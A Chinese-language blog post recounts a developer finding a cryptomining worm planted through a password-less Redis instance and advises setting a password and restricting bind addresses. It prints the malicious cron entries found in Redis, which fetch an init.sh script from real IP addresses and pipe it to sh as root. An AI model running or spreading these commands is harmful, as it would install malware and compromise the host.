事實證明,互聯(lián)網會懲罰每一個裸奔的人之 Redis 擴散病毒
前段時間換了臺電腦,一大堆開發(fā)環(huán)境我實在是懶得在本地搞了,每次啟動來啟動去太麻煩了,索性直接在服務器上開 Docker 部署,docker pull 復制粘貼什么 Redis、什么 MySQL 分分鐘裝好,要用的時候直接遠程連接就行了,簡直不要太方便。
也不是什么業(yè)務場景讓我發(fā)現(xiàn)了這么一個病毒,因為大部分 Redis Key 都是設置了過期時間的,開發(fā)過程也沒感覺到什么問題,純粹是有一天我閑著沒事干,進入 Redis 命令行 keys * 看看,不看不要緊,一看好家伙,多出了幾個 key,大概就是下面這樣子:
uid:1
uid:2
uid:3
backup1
backup2
backup3
backup4
多出了 4 個 backup 前綴的 key,我第一反應這肯定是什么備份文件
正常情況下我根本不會在意,純粹就是那天確實比較閑,不如來學習下 Redis 吧(哈哈),于是,稟著好學的基本素養(yǎng),我分別查看了下這里面的 value 是什么:
*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh
wget 是用來下載東西的,curl 是用于執(zhí)行 HTTP 請求,點開 http://45.83.123.29/cleanfda/init.sh 看看到底是什么腳本文件:
又是改權限,又是關防火墻刪文件的,用屁股想都知道這 IP 肯定是國外的了:
查了下發(fā)現(xiàn)這是一種 Redis 擴散病毒,專門利用 Redis 未授權訪問漏洞的挖礦病毒。沒錯,就是 Redis 沒設置密碼,沒授權,讓病毒有了可乘之機。如果服務暴露在互聯(lián)網上就一定要設置密碼,不要裸奔 ??,很多同學大部分時間都是在本地開發(fā),沒有設置密碼的習慣或者只是簡單的設置成 root 這種
另外,除了設置密碼,服務器開放端口的時候最好也指定下 IP,不然默認的 0.0.0.0:6379 任何 IP 都可以訪問